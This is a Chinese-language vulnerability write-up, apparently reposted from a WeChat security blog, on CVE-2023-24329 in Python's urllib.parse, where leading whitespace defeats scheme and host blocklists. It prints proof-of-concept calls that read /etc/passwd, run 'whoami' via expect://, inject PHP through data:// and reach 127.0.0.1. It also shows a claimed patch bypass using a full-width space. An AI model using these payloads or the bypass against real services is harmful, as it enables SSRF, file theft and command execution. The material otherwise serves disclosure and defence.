0x01 CVE-2023-24329
CVE ID | CVE-2023-24329 | 发现时间 | 2023-08-14 |
类 型 | 安全绕过 | 等 级 | 高危 |
攻击向量 | 网络 | 所需权限 | 无 |
攻击复杂度 | 低 | 用户交互 | 无 |
PoC/EXP | 未知 | 在野利用 | 未知 |
Python
中的urllib.parse
模块主要用于解析和操作URL
,它可以将URL
分解为其组成部分,或者将各个组成部分组合为URL
字符串。
8月14日,披露了Python
的 urllib.parse
组件中存在安全绕过漏洞(CVE-2023-24329
),该漏洞的CVSSv3
评分为7.5
。
Python
多个受影响版本中,当整个URL
以空白字符开头时,urllib.parse
会出现解析问题(影响主机名和方案的解析)。可以通过提供以空白字符开头的URL
来绕过使用阻止列表实现的任何域或协议过滤方法,成功利用该漏洞可能导致任意文件读取、命令执行或SSRF
等。
0x02 CVE-2023-24329 漏洞示例
披露者给出的示例代码如下,当请求的url面前添加空格时,urllib.parse
会出现解析问题,返回的input_hostname
和input_scheme
为空,绕过了业务代码中黑名单的限制。
import
urllib.request
from
urllib.parse
import
urlparse
def
safe_url_opener
(input_link)
:
block_schemes = [
"file"
,
"gopher"
,
"expect"
,
"php"
,
"glob"
,
"data"
,
"dict"
,
"ftp"
]
block_host = [
"127.0.0.1"
,
"localhost"
]
input_scheme = urlparse(input_link).scheme
input_hostname = urlparse(input_link).hostname
print(input_hostname)
if
input_scheme
in
block_schemes:
print(
"input scheme is forbidden"
)
return
if
input_hostname
in
block_host:
print(
"input hostname is forbidden"
)
return
target = urllib.request.urlopen(input_link)
content = target.read()
print(content)
if
__name__ ==
'__main__'
:
safe_url_opener(
" http://127.0.0.1"
)
safe_url_opener(
" file://127.0.0.1/etc/passwd"
)
safe_url_opener(
" data://text/plain,<?php phpinfo()?>"
)
safe_url_opener(
" expect://whoami"
)
漏洞点如下,urlparse
对以空白字符开头的URL
解析,返回的hostname
为None
,返回的scheme
为空。这样在业务代码中使用urlparse
解析URL
,对解析的结果进行一些判断时就容易产生漏洞。
0x03 漏洞补丁
漏洞出在 urllib.parse
组件,我们调试一下,将断点打在urlparse
处。
跟进到urlsplit()
函数处,根据url.find(':')
获取冒号的下标,然后根据冒号下标判断协议是否是http
,是的话就会进行解析,将解析结果返回;如果不是则会判断URL
的字符是否在给定的字符序列中。
scheme_chars
的值为abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+-.
,显然空格不在其中。
break
之后进入下一个if
,判断协议之后是否是//
,显然也不成立,就错过了给netloc
赋值的机会,netloc
就会以None
进行返回。
为什么要关注netloc
,可以看一下注释,netloc
就对应了url
的hostname
,scheme
也是同理,一个以None
返回,一个以空返回,就导致了该漏洞的产生。
0x04 CVE-2023-24329 补丁绕过
在最新版中,通过黑名单替换的方式,对一些空白字符进行了替换。
黑名单如下,可以看到从x00
到x20
和't', 'r', 'n'
都被替换掉了。
_WHATWG_C0_CONTROL_OR_SPACE = 'x00x01x02x03x04x05x06x07x08tnx0bx0crx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1f '
_UNSAFE_URL_BYTES_TO_REMOVE = ['t', 'r', 'n']
之前的添加空格绕过的方式就不生效了。
这里通过lstrip
和strip
来将上述字符去除,然后将url
中的't', 'r', 'n'
替换,避免了空格造成的绕过。
0x05 漏洞补丁绕过
关于lstrip
,我们可以看一个简单的例子,将官方补丁的_WHATWG_C0_CONTROL_OR_SPACE
也使用lstrip
对url
进行去除,但是可以看到输出结果,第二个确实成功去掉了空格,但是看第一个结果,前方依然是存在空格,这是因为我们给出的不是正常情况下的空格,而是【 】
,该字符的ASCII
码为12288
。当然能绕过的空白字符不止这个,还有很多,这里只是给出一个例子。
再看一个例子,同样是加了【 】
,但是lstrip
没有给参数,看输出结果,【 】
反而被去掉了,官方补丁有些弄巧成拙了。
于是可以通过添加【 】
的方式对官方修补黑名单进行绕过。
import urllib.request
from urllib.parse import urlparse
def safe_url_opener(input_link):
block_schemes = ["file", "gopher", "expect", "php", "glob", "data", "dict", "ftp"]
block_host = ["127.0.0.1", "localhost"]
input_scheme = urlparse(input_link).scheme
input_hostname = urlparse(input_link).hostname
print(input_hostname)
if input_scheme in block_schemes:
print("input scheme is forbidden")
return
if input_hostname in block_host:
print("input hostname is forbidden")
return
target = urllib.request.urlopen(input_link)
content = target.read()
print(content)
if __name__ == '__main__':
safe_url_opener(" http://127.0.0.1")
safe_url_opener(" http://127.0.0.1")
代码运行结果如下,成功绕过补丁。
0x06 修补建议
简单测试了一下,跑了一下空白字符,发现lstrip()
都能将其去除,加了_WHATWG_C0_CONTROL_OR_SPACE
反而给了绕过的机会,将其去除即可。
原文始发于微信公众号(TERRA星环安全团队):Python URL解析安全绕过漏洞及补丁绕过
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论